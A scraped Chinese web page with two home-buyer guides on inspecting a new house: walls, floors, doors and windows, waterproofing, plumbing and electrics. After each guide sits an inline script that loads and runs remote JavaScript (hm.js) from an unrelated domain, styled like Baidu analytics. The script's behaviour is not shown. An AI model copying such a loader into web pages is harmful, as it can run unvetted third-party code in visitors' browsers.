验收新房子时需要注意哪些细节

买房是很多购房者的人生大事，很多朋友对验收新房子要怎么来验收和需要注意的细节问题并不是很清楚，验收房子新房子说白了就是给自己的房子做一次全面的体检，所以业主们在验收房子前一定要做足准备，精心验收，不留死角。如果检验不彻底有了问题就会给入住后的生活带来很多的麻烦，令生活难以安稳只有体检合格的房子我们才能放心的居住，下面了解下如何验收新房子及要注意哪些问题。如何验收新房子需要注意哪些细节检查地面墙面-验收新房子时首先是对最直观的地方进行检查，也就是地面和墙面，要求平整，不得出现严重凹凸的现象，若是有高突，那得看看是否有空鼓了。另外还要观察有没有出现裂痕，变形裂缝，有没有外漏的钢筋等问题。检查门窗-一般的开发商配置较简单，只是大门与窗户，在验收新房子检查时要重点查看门窗的轨道是否顺畅，一定要能够关闭严实，另外还要检查新房的门窗玻璃是否有破损变形等。有任何异常都要及时找物业或开发商解决，避免后期自己不必要的支出。检查防水一发商会对浴室做此类施工，验收是必做的，不管有无漏水的情况，建议到后期都再施工一遍，这样才更加有保障。检查给水电气是否配套齐全-在任何时候，水与电都是紧密相连的，在查收时要注意查看龙头是否有水的供给，是否配套齐全，而电气方面要检查电卡、水卡中的水量、电量是否与买的数量一致。有很朋友认为验收新房子时第三方质检站检查的差不多了，不想再多此一举。事实上，房子是需要长期居住的，为了以后居住安稳自己验收一遍是很有必要的，这样验收新房子发现问题时还可以及时反映并要求整改的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

验房需要掌握的验房细则

房子拿到手后，首先要做的是验收，然后才是装修房子，验收是非常关键的一步，因为它不仅会影响到后期的装修，还会影响到日后的使用，所以一定要非常仔细。那么应该怎样验收新房呢？验房细则有哪些？一起来看看吧。验房细则1：查看合同区域确认合同图纸是否符合实际，结构是否相同。原来的设计，是否已经通过了当地房地产局。测量时合同的面积是否存在差异。验房细则2：用卷尺测量高度带上自己的5米卷尺，用5米卷尺测量建筑物的楼层高度，看看是否与合同相符。验房细则3：检查水管是否漏堵检查卫生间地面是否有水有一个简单的办法，也就是人们常说的蓄水试验，将盛满水的脸盆完全倒入为什么间地面，然后过几个小时候放水，看看是否存在渗漏现象，地面是否存在积水，下水管是否堵塞，只要出现以上现象就要及时的提出整改方案。验房细则4：榔头敲击看裂纹拿一个小榔头，用榔头敲打墙壁和地板装饰表面，检查房子的墙壁和地板是否空鼓。如果你听到“咚咚咚”的声音，那么粉刷层找平层就存在空鼓的现象，这需要再加工；如果你听到清脆的声音，证明施工合格。验房细则5：墙体不渗漏仔细检查墙体的平整度，看看墙上是否有渗水或开裂。特别是检查一些墙壁是否有水渍，如顶部和外墙。如果存在这种现象，一定要尽快查明原因，及时整改。验房细则6：门窗弹性隔音听试着看看门窗是否有弹性。目视检查门框与门框、窗框与窗框侧面是否平行，关闭门窗以听取隔音效果，了解门窗的密封性能。验房细则7：拉电闸拉下电闸后，检查家用电器是否完全断电，并检查每个开关是否对应相应的分路支线。最好用万用表测量每个强弱电源是否畅通。以上就是业主验房细则，也是业主需要引起重视和注意的事项。希望给大家带来帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();